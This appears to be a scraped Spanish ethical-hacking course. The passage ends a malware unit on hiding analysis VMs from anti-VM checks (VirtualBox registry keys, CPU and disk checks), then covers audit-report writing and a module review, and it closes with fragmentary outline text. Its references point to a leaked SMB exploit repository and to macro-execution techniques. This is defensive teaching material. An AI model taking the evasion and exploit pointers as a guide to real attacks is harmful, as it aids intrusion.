Para ello, y suponiendo que estemos trabajando en VirtualBox, se deberá ir a “Máquina > Tomar
instantánea”:
Imagen 5.138. Tomar instantánea en VBox.

Fuente: elaboración propia, 2019.
Imagen 5.139. Guardar instantánea en VBox.

Fuente: elaboración propia, 2019
94/104
Malware
Una vez hecho esto
Es preciso comenzar a modificar nuestra VM con el fin de eliminar rastros que pueda identificar el
malware (estos dependerán del tipo de SO que se utilice, de su versión, etc.).
Así, en el panel de inicio de Windows, se debe escribir “regedit” para acceder a los registros de
Windows:
Imagen 5.140. Regedit I.

Imagen 5.141. Regedit II.

Fuente: elaboración propia, 2019
Una vez en el panel de los registros de Windows, se ha de ir eliminando/modificando uno por uno
cada valor que pueda identificar a la VM. A continuación, se verán algunos ejemplos:
95/104
Malware
HKLM\SYSTEM\CurrentControlSet\Control\Video\*\0000
Imagen 5.142. Ejemplo de registro VBox 1.

96/104
Malware
HKLM\SYSTEM\ControlSet001\Control\CriticalDeviceDatabase\ pci#ven_80ee&dev_cafe

97/104
Malware
3
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{91e53227-52d3-11e7-
8d0b-806e6f6e6963}\shell\command

4
HKLM\HARDWARE\ACPI\DSDT\VBOX_

98/104
Malware
5
HKLM\HARDWARE\ACPI\FADT\VBOX_

Y como estos ejemplos hay cientos de registros más que evidencian el tipo de entorno en el que la
muestra se ha detonado.
Sin embargo, las muestras de malware no solo comprueban los registros del SO, sino también, por
ejemplo:
El número de procesadores de los que consta el sistema, los cuales deben ser siempre igual o
mayores que 2.
Imagen 5.147. Ejemplo de VM que sería detectada por el check del procesador.
Si se está moviendo o no el ratón, lo cual es fácil de eludir si el analista interactúa con la VM. Sin
embargo, en el caso de que utilicemos Cuckoo o cualquier otro sistema para automatizar los análisis,
esto debiera tenerse en cuenta.
99/104
Malware
El tamaño del disco duro, el mínimo es de 50 GB.
Imagen 5.148. Ejemplo de VM que sería detectada por el check del procesador.
En función de la versión de SO que se utilice, del tipo de entorno, del tipo de muestras a la
que nos enfrentemos o, incluso, de qué herramienta de antiVM check utilicemos (ya sea
“pafish”, o por ejemplo, “Al-khaser”: GitHub, https://github.com/LordNoteworthy/al-khaser), se
tendrá que mantener y modificar nuestro entorno virtual para que este asemeje serlo lo mínimo
posible.
Por último, se debe tener en cuenta que la cantidad de checks que las muestras de malware
van incorporando es cada vez mayor y más compleja, de modo que el trabajo de ocultación de
las VM es continuo.
VIII. Resumen
Si en la unidad anterior nos hemos centrado en el phishing, en esta unidad le ha tocado el turno al
malware, programas diseñados con fines delictivos.
En este caso, nos hemos centrado en los vectores de entrada y distribución, ya sea mediante correo
electrónico, páginas web falsas, SMS, etc.
A continuación, hemos desgranado los principales tipos de malware, como el ransomware, keyloggers
o bankers, entre otros. Algunos de estos tipos de malware son conocidos incluso por los usuarios no
expertos, ya que este tipo de ataque está muy de moda entre la comunidad cibercriminal y tiene una gran
cobertura mediática.
Otro aspecto a tener en cuenta por los analistas es el de los Indicadores de Compromiso
(IoC). En esta unidad, los hemos definido y hemos hablado de la plataforma open-source MISP,
ampliamente utilizada en la industria para compartir inteligencia sobre amenazas.
100/104
Malware
Para terminar, hemos hablado sobre el Malware as a Service y hemos enumerado y explicado las
principales técnicas de evasión del malware, como las anti- debugger o las anti-vm.
El panorama del malware está en constante expansión y actualización: los atacantes cada vez emplean
métodos más sofisticados para realizar sus paquetes de malware y “colarlos” a los usuarios de Internet.
Como analistas, es nuestro trabajo mantenernos al día en la escena del malware para ir un paso por
delante de los ciberdelincuentes.
101/104
Malware
Recursos
Enlaces de Interés
28-12-2017
https://www.malware-traffic-analysis.net/2017/08/04/index.html
https://www.malware-traffic-analysis.net/2017/08/04/index.html
04-08-2017
https://msdn.microsoft.com/es-es/library/windows/desktop/aa813706(v=vs.85).aspx
https://msdn.microsoft.com/es-es/library/windows/desktop/aa813706(v=vs.85).aspx
PEB
Bibliografía
Artículo de blog sobre Exploit-kits.:
https://blog.malwarebytes.com/cybercrime/2017/08/enemy-at-the-gates-reviewing-the-
magnitude-exploit-kit-redirection-chain/
Boletín de seguridad de Microsoft sobre el servicio SMB.: https://docs.microsoft.com/en-
us/security-updates/securitybulletins/2017/ms17-010
Lista de campañas de malware (agosto de 2017).: https://www.malware-traffic-
analysis.net/2017/08/04/index.html
Lista de campañas de malware (diciembre de 2017).: https://malware-traffic-
Lista de campañas del exploit-kit Magnitude EK (agosto de 2017).: https://www.malware-
traffic-analysis.net/2017/08/04/index.html
Lista de campañas del exploit-kit Rig EK (agosto de 2017).: https://www.malware-traffic-
Lista de campañas del exploit-kit Rig EK (diciembre de 2017).: https://malware-traffic-
Lista de campañas del InfoStealer Pony (abril de 2018).: http://www.malware-traffic-
analysis.net/2018/04/11/index2.html
Lista de campañas del malware Dridex.: https://malware-traffic-
Lista de códigos de idioma.: https://www.science.co.il/language/Locale-codes.php
Motor de búsqueda de dispositivos conectados a Internet. : https://www.shodan.io/
102/104
Malware
Noticia sobre el malware BankBot.: https://blog.avast.com/es/troyano-bancario-en-google-

play-afecta-a-usuarios-espanoles-mediante-una-app-de-ajedrez
Noticia sobre el malware BankBot.: https://blog.trendmicro.com/trendlabs-security-
intelligence/bankbot-found-google-play-targets-ten-new-uae-banking-apps/
Noticia sobre el malware BankBot.: https://www.welivesecurity.com/2017/09/25/banking-
trojan-returns-google-play/
Noticia sobre el malware BankBot.: https://www.zscaler.com/blogs/research/malware-
google-play-abusing-accessibility-service
Noticia sobre el malware Dridex.: https://blog.trendmicro.com/trendlabs-security-
intelligence/banking-trojan-dridex-uses-macros-for-infection/
Noticia sobre el malware Dridex.: http://blog.dynamoo.com/2015/05/malware-spam-attn-
outstanding-invoices.html
Noticia sobre el malware Dridex.: https://heimdalsecurity.com/blog/security-alert-dridex-
malware-creators-deceive-victims-with-fake-ikea-receipt/
Noticia sobre el malware Dridex.: https://myonlinesecurity.co.uk/business-card-tracey-
gittens-js-malware/
Noticia sobre el malware Dridex.: https://myonlinesecurity.co.uk/dridex-delivered-via-
spoofed-quickbooks-invoice-00482-imitating-random-companies/
Noticia sobre el malware Dridex.: https://myonlinesecurity.co.uk/account-statement-
pineislandweb-com-malspam-delivers-dridex-banking-trojan/
Noticia sobre el malware GootKit.: https://myonlinesecurity.co.uk/more-gootkit-banking-
trojan-via-fake-invoice-overdue-notice-spoofing-metro-finance-using-mailgun-smtp-relay-
service/
Noticia sobre la explotación de macros en Microsoft Word.:
https://myonlinesecurity.co.uk/new-malware-campaign-using-dde-exploit-delivering-malware/
https://myonlinesecurity.co.uk/dde-exploits-still-happening-despite-microsoft-updates-to-stop-
them/
https://myonlinesecurity.co.uk/more-locky-ransomware-delivered-via-dde-exploit-pretending-
to-come-from-your-own-company-or-email-address/
Página oficial de MISP en GitHub.: https://github.com/MISP/MISP
Página oficial de Nessus.: https://www.tenable.com/products/nessus/nessus-professional
Página oficial del Proyecto MISP.: http://www.misp-project.org/
Paquete de explotación de la vulnerabilidad en el servicio SMB. :
https://github.com/misterch0c/shadowbroker/tree/master/windows/exploits
Publicación que explica cómo explotar macros en Microsoft Word.:
https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/
Glosario.
103/104
Malware
Captcha: Tipo de medida de seguridad conocido como autenticación pregunta-respuesta

que solicita al usuario completar una prueba para demostrar que es un humano.
Debugger: También conocido como “depurador”, es un programa usado para probar y

depurar (eliminar) los errores de otros programas.
Exploit kit: Paquete de software alojado en sitios web, diseñado para explotar
vulnerabilidades de los usuarios que accedan a estos.
IoC (indicadores de compromiso): Patrones que determinan una infección, es decir,

identificadores de una campaña, muestra, proceso, conexión, etc. Por ejemplo, la URI
“/linuxsucks”, es un IOC que identifica una comunicación con un servidor C&C por parte de
un ransomware Locky.
Malware: Software malicioso que se crea con el fin de perpetrar acciones ilegítimas o
maliciosas en un dispositivo.
MISP: Plataforma que fue diseñada, y a día de hoy sigue siendo mantenida, por el CIRCL y
que recibió una gran aceptación por parte de las entidades, organismos y analistas desde el
primer momento. Está creada para la compartición, almacenamiento y correlación de
indicadores de compromiso (IOC).
Ransomware: Malware que restringe el acceso a determinadas partes o archivos del sistema
infectado, por ejemplo, cifrándolos, y pide un rescate a cambio de quitar esta restricción.?
Sandbox: Entorno cerrado que aísla en tiempo real los cambios en el código, fruto de la
experimentación, del propio entorno de producción.
104/104
Generación de informes de auditoría
© Ediciones Roble, S.L.
Indice
Generación de informes de auditoría 3
I. Introducción 3
II. Objetivos 3
II. Contenido del informe 3
2.2. Metodología 4
2.3. Informe ejecutivo 4
2.4. Informe técnico 5
III. Resumen 7
Recursos 9
Bibliografía 9
2/9
I. Introducción
Durante el curso se han explicado las distintas metodologías y herramientas para llevar a cabo
auditorías de distintos tipos. Todas ellas tienen en común la última fase, que será la que dé por
terminada la auditoría.
Esta fase consiste en la realización de un informe que contenga todos los hallazgos detectados
durante el tiempo en el que se ha desarrollado la auditoría.
II. Objetivos
Con esta unidad, los estudiantes aprenderán los pilares básicos en lo que a la generación de informes
de auditoría de seguridad se refiere.
En este sentido, hablaremos de qué información debemos incluir en este informe, qué enfoque
tenemos que darle, qué nivel de especialización, etc.
II. Contenido del informe

La clave de la generación del informe es ser capaz de plasmar todo el trabajo realizado de una manera
clara, de forma que se le dé el valor que se merece.
Para ello, se debe organizar el documento para que contenga toda la información bien organizada y
explicada de manera clara.
Otro de los puntos importantes que se deben tener en cuenta es tener claro a quién va dirigido el
documento, ya que no es lo mismo que lo vaya a recibir el director de la organización a que lo vaya a
recibir el equipo técnico. Debido a esto, lo más común es realizar un informe con dos partes bien
diferenciadas, o bien dos informes independientes:
Informe ejecutivo.
Informe técnico.
2.1. Introducción
Consiste en una breve redacción explicando el objetivo del documento, cuál es el alcance de la
auditoría y el objetivo de la misma.
3/9
En caso de que haya alguna limitación o excepción a la hora de llevar a cabo la auditoría también se
deberá incluir en este documento.
Asimismo, se deberán incluir los criterios y la categorización que se van a utilizar a la hora de valorar
la criticidad de cada hallazgo, con su definición correspondiente.
2.2. Metodología
Suelen ser un par de páginas en las que se explica la metodología seguida durante la auditoría,
definiendo los distintos aspectos de seguridad que se han revisado durante el proceso.
2.3. Informe ejecutivo

El informe ejecutivo será un documento breve y conciso, dirigido a los ejecutivos de la organización,
que por lo general no tienen por qué tener conocimientos técnicos a bajo nivel. La información que se
encuentra en este informe es la siguiente:
Estado de seguridad de la aplicación: por ejemplo, nivel de seguridad bajo, medio o alto. Esto es
muy subjetivo, por lo que se deberá explicar qué significa el nivel asociado a la aplicación.
Teniendo en cuenta lo que se haya acordado, la manera de reflejar el estado de la aplicación puede
variar. A continuación vamos a ver algunos ejemplos:
El objetivo de la auditoría es dar el OK previo a un paso a producción:
Imagen 6.1. Paso a producción.

Fuente: elaboración propia CyberAcademy..
El objetivo de la auditoría es averiguar el estado de seguridad o nivel de seguridad de la

aplicación:
El estado de seguridad de la aplicación es ALTO

El estado de seguridad de la aplicación es BAJO
El estado de seguridad de la aplicación es MEDIO
La manera de representar el estado de seguridad de la aplicación es libre y no existe una única

opción, por lo que lo que se muestra como ejemplo son sólo dos posibilidades.
4/9
Vulnerabilidades detectadas: en modo resumen, se suele mostrar un gráfico de colores que refleje
el estado de la aplicación con un solo vistazo. Ejemplo:
Imagen 6.2. Gráfico de estado de una aplicación en cuanto a vulnerabilidades.

Principales riesgos a los que está expuesta la organización teniendo en cuenta los hallazgos
encontrados, esto da un mayor nivel de información.
Imagen 6.3. Vulnerabilidades más críticas.

Tabla resumen de las vulnerabilidades encontradas. Ejemplo:
Imagen 6.4. Tabla resumen de vulnerabilidades.

2.4. Informe técnico
5/9
El informe técnico es un documento más extenso, dirigido al equipo técnico de la organización, que
suele ser el equipo de desarrolladores que se ha encargado de realizar la aplicación y será el responsable
de la resolución de las vulnerabilidades. Es aquí donde se dan todos los detalles de cada vulnerabilidad
descubierta:
Identificador de la vulnerabilidad. Será un identificador único que se suele usar a la hora de

realizar el seguimiento de las vulnerabilidades, si se han corregido o no, etc.
Criticidad de la vulnerabilidad.
Máquina/URL/Servicio afectado.
Campos vulnerables. Si la vulnerabilidad afecta a campos concretos de la aplicación.
Descripción de la vulnerabilidad. Una breve explicación de en qué consiste.
Riesgos asociados a la vulnerabilidad. Con el objetivo de explicar las posibles consecuencias
en caso de no corregir la vulnerabilidad.
Detalles, más información de la vulnerabilidad detectada y proceso seguido para detectarla.
Evidencias. Demostración de que la vulnerabilidad existe en el momento de la auditoría.
Referencias que proporcionen más información de la vulnerabilidad, ya que en muchos casos
los desarrolladores no tienen por qué tener conocimientos de seguridad y les ayudará a
entender el concepto y ver cómo resolver la vulnerabilidad.
Se debe tener en cuenta que la estructura y contenido de los informes es flexible y que lo explicado
aquí tan solo supone una parte de los contenidos que pueden aparecer.
6/9
Una manera de representar los hallazgos encontrados en el informe técnico es mostrando la

información organizada en tablas, creando una tabla por cada vulnerabilidad.
Imagen 6.5. Informe técnico.

Como se ha podido observar, hay formas infinitas de generar los informes de vulnerabilidades y no
hay una única manera válida. Esto se debe a que son totalmente personalizables y a que, dependiendo de
la organización y del tipo de auditoría, podemos encontrar informes organizados de maneras muy
diferentes, pero que comparten el mismo objetivo final: mostrar el estado de seguridad de la
organización y proporcionar los hallazgos encontrados.
Por último, se debe recalcar la importancia que tiene el informe final para plasmar el trabajo
realizado durante las auditorías, ya que un buen trabajo a nivel técnico en una auditoría en la que se
hayan encontrado un gran número de vulnerabilidades con un riesgo elevado puede quedar en nada si el
informe no refleja el trabajo realizado (o no lo refleja de la manera correcta), por lo que es importante
cuidar el aspecto y contenido del informe para ser capaces de hacer llegar el mensaje a los responsables
de la aplicación.
III. Resumen
En esta unidad hemos aprendido que existen dos tipos principales de informe:
7/9
El informe ejecutivo más centrado en ofrecer información de forma breve y concisa para el
personal ejecutivo que puede o no tener conocimientos técnicos.
El informe técnico que muestra la información de una manera mucho más detallada y que va
dirigido al equipo técnico de la organización.
Dentro de estos tipos de informes, hemos estudiado los elementos que debe incluir cada informe con
el fin de mostrar la información adaptada al público objetivo de este.
Finalmente, hemos comentado la importancia que tiene este tipo de documentos para plasmar todo el
trabajo que se ha llevado a cabo durante la auditoría de seguridad.
8/9
Recursos
Bibliografía
ACISSI. Seguridad Informática: Hacking Ético. (2015).: ACISSI. Seguridad Informática:
Hacking Ético. (2015). 3rd ed. Barcelona: Editions ENI.
El reporte técnico de un pentest.: El reporte técnico de un pentest:
http://www.azuax.com/2017/6/13/el-reporte-tecnico-de-un-pentest/
Penetration test report.: Penetration test report: https://www.offensive-
security.com/reports/sample-penetration-testing-report.pdf
Sección 8: Reporting.: Sección 8: Reporting: https://media.readthedocs.org/pdf/pentest-
standard/latest/pentest-standard.pdf
The art of writing penetration test reports.: The art of writing penetration test reports:
https://resources.infosecinstitute.com/writing-penetration-testing-reports/#gref
Writing a penetration testing report.: Writing a penetration testing report:
https://www.sans.org/reading-room/whitepapers/bestprac/paper/33343
9/9
Repaso final de módulo © Ediciones
Roble, S.L.
Indice
Repaso final de módulo 3
2/3
Repaso final de módulo
Repaso final de módulo

Para adentrarnos en el mundo del Hacking Ético, hemos estudiado conceptos básicos de esta área
como la diferencia entre auditoría de seguridad y escaneo de vulnerabilidades.
Es esencial que recordemos las fases que se llevan a cabo dentro de una auditoría de seguridad, así
como la importancia de obtener consentimiento escrito por parte del cliente antes de acometer este tipo
de proyectos.
Dentro de la auditoría de seguridad, hemos estudiado, específicamente, la auditoría de infraestructuras,

de aplicaciones web y de aplicaciones móviles. Y, para cada tipo de auditoría, hemos aprendido
diferentes metodologías, herramientas que podemos utilizar, controles que es necesario tener en cuenta,
etc.
También hemos aprendido los diferentes tipos de auditoría que podemos realizar si los clasificamos en
función de la información que conocemos del objetivo (caja blanca, caja gris y caja negra) o en función
del enfoque que se le dé:
Pentest externo (si la auditoría se realiza estudiando debilidades públicas del cliente).
Pentest interno (si la realizamos desde dentro de los sistemas del cliente).
Red team (simulando ataques reales).
Finalmente, es importante recordar que al finalizar cualquier auditoría de seguridad es necesario

redactar un informe (ejecutivo o técnico en función del público objetivo) incluyendo los
elementos necesarios para reflejar las tareas que se han realizado durante la auditoría, así como
los resultados encontrados.
3/3

02 C I Ber Seguridad

Загружено:

Сведения о документе

Оригинальное название

Авторское право

Доступные форматы

Поделиться этим документом

Поделиться или встроить документ

Параметры публикации

Этот документ был вам полезен?

Это неприемлемый материал?

Авторское право:

Доступные форматы

02 C I Ber Seguridad

Загружено:

Авторское право:

Доступные форматы

Introducción © ADR Infor SL

I. Introducción a las auditorías de seguridad

Introducción a las auditorías de seguridad.

III. La necesidad de las auditorías de seguridad

Imagen 1.1. Hacking ético.

IV. Auditoría de seguridad vs. escaneo de

Imagen 1.2. Hacking ético.

Imagen 1.3. Diferencias entre escaneos de vulnerabilidades y auditorías de seguridad

Imagen 1.3. Diferencias entre escaneos de vulnerabilidades y auditorías de seguridad.

V. Marcos de auditorías de seguridad

Algunos de los marcos de seguridad más populares son:

Penetration Testing Execution Standard (PTES)

Open Source Security Testing Methodology Manual (OSSTMM)

Metodología de seguridad genérica que engloba distintos puntos de seguridad de la organización.

Penetration Testing Framework

Metodología centrada en los test de penetración.

OWASP Testing Framework

Metodología centrada en auditorías de seguridad de aplicaciones web.

VI. Distribuciones de hacking ético

Una de las mejores soluciones para realizar análisis forense.

Basado en Ubuntu, se centra en la evaluación de seguridad y pruebas de penetración.

Samurai Web Testing Framework

Entorno Linux Live, preconfigurado como plataforma de pentesting web.

Distribución completa de Linux para investigadores de seguridad y hackers éticos.

Network Security Toolkit (NST)

Basada en Ubuntu, fue diseñada para estudiantes.

Basada en Debian, funciona en modo LIVE.

Centrada en pruebas de seguridad.

La elección de la distribución que se quiera utilizar depende de gustos. Prácticamente todas

Lo bueno de utilizar una distribución de seguridad es que ya incorpora muchas de las

VII. Kali Linux

Más de 600 herramientas de hacking ético.

Imagen 1.4. Menú Kali.

En el menú Kali Linux podemos encontrar las siguientes opciones:

Favoritos: acceso directo a las herramientas que más se utilicen de la distribución.

Ingeniería inversa: herramientas de ingeniería inversa.

En el directorio /usr/share podemos encontrar todas las herramientas instaladas en Kali. Es

Imagen 1.5. Herramientas KALI /usr/share/.

Imagen 1.6. Ejemplos de comandos Linux.

Imagen 1.7. Listar paquetes instalados en KALI.

VIII. Glosario de términos

El área de la informática que se enfoca en la protección de la infraestructura computacional y todo

Hacker (el bueno)

Definición 1: término para designar a alguien con talento, conocimiento, inteligencia y

La Real Academia Española (2001) define hacker como:

Pirata informático; (descripción discutida por los profesionales).

Cracker (el malo)

Sombrero blanco (white hat)

Sombrero negro (black hat)

Sombrero gris (gray hat)

IX. Prácticas técnicas de hacking: juegos

Existen distintos tipos de juegos:

Generalmente estas aplicaciones están enfocados a hacking web.

Capture the Flag (CTF)

Anotación: Algunos de los juegos hacking más populares

Hack The Box (HTB)

Kali Linux (que hemos trabajado en mayor detalle).

Auditoría de seguridad: Metodología sistemática que verifica de forma efectiva la

Escaneo de vulnerabilidades: Prueba reducida y concreta cuyo único objetivo es la

Auditoría de infraestructuras I: introducción,

Concretamente, nos centraremos en las fases de reconocimiento y escaneo. En cuanto al

1.2. Tipos de auditoría

Consiste en la simulación de ataques reales, para poner a prueba el nivel de seguridad de la